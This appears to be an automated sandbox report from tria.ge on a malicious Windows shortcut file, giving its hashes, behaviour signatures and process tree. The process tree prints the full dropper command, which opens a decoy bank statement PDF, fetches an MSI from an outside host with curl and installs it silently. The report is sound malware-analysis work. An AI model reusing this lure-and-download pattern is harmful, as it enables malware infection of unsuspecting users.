Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
02/02/2025, 04:47
Static task
static1
Behavioral task
behavioral1
Sample
a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627.lnk
Resource
win10v2004-20250129-en
General
-
Target
a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627.lnk
-
Size
3KB
-
MD5
95557e6d85da4e250b6be0e029e122a8
-
SHA1
7320586d1c78aedb6f63f53c076b1ae742e4592a
-
SHA256
a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627
-
SHA512
b3f3e00057705d0775a9ed4929dc4e0c4260bcc7618ad8b6208b0eb447e06e03fe6aeb9d7ab1e0a96d6fdcede0f34533e0c6b0ba1128111f79794111d107b59f
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2480 wrote to memory of 2680 2480 cmd.exe 32 PID 2480 wrote to memory of 2680 2480 cmd.exe 32 PID 2480 wrote to memory of 2680 2480 cmd.exe 32
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k start msedge https://www.fnb.co.za/downloads/public/FNB_PSB_OBEStatement.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi http://hq-office.us/fork/setup.msi & C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi /qn | Taskkill /f /im cmd.exe2⤵PID:2680
-